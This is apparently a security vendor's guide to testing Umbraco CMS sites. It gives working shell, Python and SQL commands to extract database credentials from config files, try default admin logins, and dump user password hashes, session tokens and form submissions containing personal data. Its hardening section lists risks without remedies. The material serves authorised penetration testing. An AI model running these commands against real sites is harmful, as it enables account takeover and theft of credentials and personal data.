Umbraco Security Testing: Default Credentials, API Key, Database, and CMS

Umbraco is one of the most popular .NET CMS platforms, powering hundreds of thousands of websites on ASP.NET. Key assessment areas: web.config (Umbraco 7-8) or appsettings.json (Umbraco 9+) exposes SQL Server connection strings with credentials; admin credentials at /umbraco use HMAC-SHA1 or bcrypt; the umbracoUser table contains all editor and admin accounts; and the Umbraco media library stores uploaded files at predictable paths. This guide covers systematic Umbraco security assessment.

Table of Contents

  1. web.config / appsettings.json SQL Server Credential Extraction
  2. Admin Panel and API Assessment
  3. SQL Server umbracoUser Hash and Admin Account Extraction
  4. Umbraco Security Hardening

web.config / appsettings.json SQL Server Credential Extraction

# Umbraco — web.config and appsettings.json SQL Server credential extraction
UMBRACO_URL="https://site.example.com"

# Umbraco 7-8: web.config — SQL Server connection string
# Location: /var/www/umbraco/web.config or C:\inetpub\wwwroot\umbraco\web.config
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('/var/www/umbraco/web.config')
root = tree.getroot()
ns = {'ns': 'http://schemas.microsoft.com/.NetConfiguration/v2.0'}
for cs in root.findall('.//connectionStrings/add'):
    name = cs.get('name','')
    conn = cs.get('connectionString','')
    if 'umbraco' in name.lower() or 'Password' in conn:
        print(f'Name: {name}')
        print(f'ConnectionString: {conn[:120]}')
" 2>/dev/null
# Data Source=...;Initial Catalog=umbraco;User Id=umbraco;Password=...

# Umbraco 9+: appsettings.json — new config format
python3 -c "
import json
d=json.load(open('/var/www/umbraco/appsettings.json'))
conn=d.get('ConnectionStrings',{}).get('umbracoDbDSN','')
print(f'umbracoDbDSN: {conn[:120]}')
" 2>/dev/null

# Check web.config web exposure (should be blocked by IIS handler)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${UMBRACO_URL}/web.config" 2>/dev/null)
echo "/web.config: HTTP ${STATUS}"

# Umbraco version disclosure
VERSION=$(curl -s "${UMBRACO_URL}/umbraco/api/keepalive/ping" 2>/dev/null | \
  grep -oP '"umbracoVersion":"\K[^"]+' | head -1)
echo "Umbraco version: ${VERSION:-check /umbraco}"

# Test default admin credentials
for CRED in "admin@example.com:admin" "admin@domain.com:password" "umbraco@example.com:Admin123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${EMAIL}\",\"password\":\"${PASS}\"}" \
    -c /tmp/umb_c 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and API Assessment

# Umbraco admin panel — backoffice API and media library assessment
UMBRACO_URL="https://site.example.com"

# Umbraco backoffice REST API (authenticated)
# With valid admin credentials, use backoffice API
ACCESS_TOKEN="extracted-umbraco-token"

# List all content nodes
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Content/GetById?id=-1" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | head -20

# List media library files
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Media/GetRootMedia" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for item in (d if isinstance(d,list) else [d])[:5]:
        print(f'  {item.get(\"name\")} — {item.get(\"mediaLink\")}')
except: pass
" 2>/dev/null

# Umbraco media files are typically at /media/[number]/[filename]
# Enumerate media paths
for NUM in $(seq 1001 1010); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${UMBRACO_URL}/media/${NUM}/" 2>/dev/null)
  echo "/media/${NUM}/: HTTP ${STATUS}"
done

# Check for Umbraco Forms data (if Umbraco Forms package installed)
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoForms/Form/GetAllForms" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | head -10

SQL Server umbracoUser Hash and Admin Account Extraction

# Umbraco SQL Server database — umbracoUser hash and admin account extraction
# Using sqlcmd or pyodbc
SA_PASS="extracted-sa-or-umbraco-password"
DB="umbracoDbDSN"

sqlcmd -S localhost -U umbraco -P "${SA_PASS}" -d Umbraco -Q "
-- Umbraco 7-8: umbracoUser table
SELECT u.id, u.userName, u.userEmail,
       u.userPassword,        -- HMAC-SHA1 or bcrypt
       u.userType,            -- 1=admin group, 0=writer
       u.userDisabled, u.userNoConsole,
       u.createDate, u.updateDate,
       u.lastLoginDate, u.lastPasswordChangeDate
FROM dbo.umbracoUser u
WHERE u.userDisabled = 0
ORDER BY u.id;
-- userPassword: Umbraco 7 = HMAC-SHA1; Umbraco 8+ = bcrypt
-- userType=1: administrative user group

-- Umbraco 9+ uses umbracoUser with different schema
SELECT id, userName, email, password, passwordConfig,
       securityStamp, failedLoginAttempts,
       isLockedOut, isApproved, createDate, updateDate
FROM dbo.umbracoUser
ORDER BY id;
-- password: bcrypt (Umbraco 9+); passwordConfig describes algorithm

-- User access tokens / remember-me tokens
SELECT t.id, t.userId, t.token, t.name,
       t.createdUtc, t.expiresUtc
FROM dbo.umbracoUserLogin t
ORDER BY t.createdUtc DESC;

-- Umbraco Forms submitted data (if installed)
SELECT f.id AS form_id, f.name AS form_name
FROM dbo.UForms f
ORDER BY f.id;

SELECT r.id, r.form AS form_id,
       r.ip, r.created, r.serverVariables, r.recordFields
FROM dbo.UFormRecords r
ORDER BY r.created DESC;
-- recordFields: JSON-encoded form submission data — may contain PII, contact info
" 2>/dev/null

Umbraco Security Hardening

Umbraco Security Hardening Checklist:
Security TestMethodRisk
web.config SQL Server connection string credential extractionRead web.config connectionStrings — SQL Server User Id and Password; full umbracoUser hash and Umbraco Forms submission data accessCritical
umbracoUser HMAC-SHA1/bcrypt hash extraction with admin identificationSQL SELECT userPassword, userType FROM umbracoUser — HMAC-SHA1 (Umbraco 7) or bcrypt; userType=1 = admin group membershipHigh
Admin credential brute-force at /umbraco/backofficePOST /umbraco/backoffice/UmbracoApi/Authentication/PostLogin — admin credentials; backoffice access enables content management, media upload, user creationHigh
UFormRecords Umbraco Forms PII extractionSQL SELECT from UFormRecords — all form submission data including names, emails, phone numbers, and custom fields from all website formsHigh
umbracoUserLogin access token enumerationSQL SELECT from umbracoUserLogin — active session tokens; token replay enables authenticated backoffice access without passwordHigh

Automate Umbraco Security Testing

Ironimo tests Umbraco deployments for web.config connectionStrings SQL Server credential extraction, appsettings.json umbracoDbDSN Umbraco 9+ connection string extraction, admin credential brute-force at /umbraco/backoffice/UmbracoApi/Authentication/PostLogin, umbracoUser HMAC-SHA1 and bcrypt hash extraction with userType admin identification, umbracoUserLogin session token enumeration enabling session replay, UFormRecords Umbraco Forms PII submission data access, media library /media/ file access without authentication, Umbraco version disclosure via /umbraco/api/keepalive/ping for CVE targeting, and IIS configuration assessment for web.config exposure.

Start free scan